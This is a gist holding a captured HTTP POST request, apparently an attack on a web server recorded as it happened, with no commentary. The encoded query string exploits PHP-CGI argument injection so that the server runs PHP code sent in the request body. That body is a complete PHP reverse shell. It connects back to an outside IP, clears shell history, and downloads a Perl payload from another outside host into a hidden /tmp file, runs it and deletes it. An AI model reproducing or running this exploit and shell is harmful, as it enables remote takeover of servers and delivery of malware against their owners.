gistfile1.txt

POST /cgi-bin/php4?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1
host: 174.129.243.51
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25
X-Forwarded-For: 200.203.146.78
X-Forwarded-Port: 80
X-Forwarded-Proto: http
Content-Length: 2134
Connection: keep-alive

<?php
set_time_limit(0);
$ip = '91.121.105.21';
$port = 22;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'unset HISTFILE; unset HISTSIZE; uname -a; wget 208.85.177.238/speedtest/.a/hb/php09 -O /tmp/.bash_h1s7;perl /tmp/.bash_h1s7;rm -rf /tmp/.bash_h1s7';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
	$pid = pcntl_fork();	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	if ($pid) {
		exit(0);
	}
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}
	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.");
}
chdir("/");
umask(0);
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}
$descriptorspec = array(
   0 => array("pipe", "r"),
   1 => array("pipe", "w"),
   2 => array("pipe", "w")
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
while (1) {
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
	if (!$daemon) {
		print "$string
";
	}
}
exit(1);
?>